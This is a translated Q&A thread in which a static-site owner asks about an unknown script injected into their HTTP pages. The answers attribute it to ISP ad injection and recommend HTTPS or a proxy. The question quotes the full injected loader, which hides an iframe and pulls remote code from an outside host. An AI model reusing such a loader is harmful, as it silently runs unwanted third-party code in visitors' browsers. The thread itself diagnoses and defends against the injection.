這是注入的 JavaScript 程式碼嗎?

這是注入的 JavaScript 程式碼嗎?

我有一個靜態網站。我在電腦本機更新網頁,然後使用 FileZilla 上傳。然而,上傳後,我查看任何頁面的源代碼,並看到注入到<head>.該腳本不會更改頁面的佈局或可見內容,因此我不知道它的作用:

<script>
    if (top == window) {
        var engageNameSpace = "engagens";
        "undefined" == typeof window[engageNameSpace] && (window[engageNameSpace] = {}), window[engageNameSpace].engageLoader = function() {
            function e(e) {
                return "undefined" != typeof e && null !== e
            }

            function t() {
                var t = document.createElement("script");
                t.setAttribute("src", s), t.setAttribute("id", "fn_engage_script"), t.setAttribute("async", ""), (null == document.head || e(document.head)) && (document.head = document.getElementsByTagName("head")[0]), document.head.appendChild(t)
            }

            function n() {
                var t = r();
                if (e(t)) {
                    var n = t;
                    i() && (n = d(t));
                    var o;
                    try {
                        o = document.documentElement, o.appendChild(n)
                    } catch (c) {
                        o = document.body, o.appendChild(n)
                    }
                    a()
                }
            }

            function a() {
                function e(e) {
                    var n = e.data;
                    "l8IframeIsReady" === n.message && t()
                }
                window.addEventListener ? window.addEventListener("message", e, !1) : window.attachEvent("onmessage", e)
            }

            function r() {
                var t = document.createElement("iframe");
                if (e(t)) {
                    t.setAttribute("id", "fn_engage"), t.setAttribute("src", u), t.setAttribute("target", "_blank"), t.setAttribute("frameborder", "0");
                    var n = /firefox/i.exec(navigator.userAgent);
                    e(n) && n.length > 0 ? (t.style.height = 0, t.style.width = 0) : t.style.display = "none", t.frameBorder = "no"
                }
                return t
            }

            function i() {
                var t = !1,
                    n = /android (\d+)/i.exec(navigator.userAgent);
                return e(n) && n.length > 0 && (t = parseInt(n[1]) >= 4), t
            }

            function d(e) {
                var t = document.createElement("div");
                return t.setAttribute("id", "fn_wrapper_div"), t.style.position = "fixed", t.style.display = "none", t.ontouchstart = function() {
                    return !0
                }, t.appendChild(e), t
            }

            function o() {
                var t = void 0,
                    a = this,
                    r = function() {
                        e(t) && (window.clearTimeout(t), t = void 0, n.call(a))
                    };
                t = window.setTimeout(r, 1e4), "function" == typeof window.addEventListener ? window.addEventListener("load", r, !1) : window.attachEvent("onload", r)
            }
            var c = "http://globe.moreforme.net",
                u = c + "/l8/EngageService?v=1",
                s = c + "/scripts/Engage.js";
            o()
        };
        var engageLoader = new window[engageNameSpace].engageLoader
    }
</script>

在檢查腳本中的 url 後http://globe.moreforme.net,我意識到該腳本很可能來自我們的 ISP (Globe)。由於我是網路安全方面的新手,我不知道腳本最初是如何到達那裡的。我的網站是靜態 HTML。頁面上傳後,如何防止該腳本出現在原始程式碼中?

編輯

找到了這個關聯這似乎是用於製作腳本的模板程式碼。有人知道這個腳本是做什麼的嗎?

答案1

首先,這只有效,因為您使用的是 HTTP 而不是 HTTPS

您的 ISP 正在註入此腳本,然後使用它動態載入另一個腳本(在 iframe 中?)。

無論出於何種原因,我無法導航到託管腳本的globe.moreforme.net...它將我重定向到globe.moreforme.ph,因此globe.moreforme.net很可能只對使用ISP的人可用。

現在,如果我必須大膽猜測......我會說 ISP 正在使用這個動態加載的腳本來劫持您訪問的頁面上的廣告,以便為自己索取節目。

您應該能夠透過僅使用 HTTPS 網站或透過查看Dynamic Port ForwardingSSH 使用安全的 SOCKS5 代理程式(在 VPS 上設定非常簡單,非常便宜)來防止這種情況。或者,如果您所在的國家/地區有全國性的防火牆(中國),您可以查看 ShadowSocks。

答案2

這是 Globe Telecom 與邪惡的 Flash Networks 合作的結果,透過添加他們的廣告並可能入侵其他人的廣告來修改客戶正在加載的頁面。

這樣做的合法性值得懷疑——他們至少應該違反版權法。但考慮到菲律賓的管轄權,我不認為你可以合法地做任何事情。

這也是為什麼所有網站都應使用 HTTPS 並停用 HTTP(否則重定向到 HTTPS)的原因。如今,有許多方法可以免費為您的 DNS 名稱取得 SSL 證書,並且還可以提高您的 Google 分數。

相關內容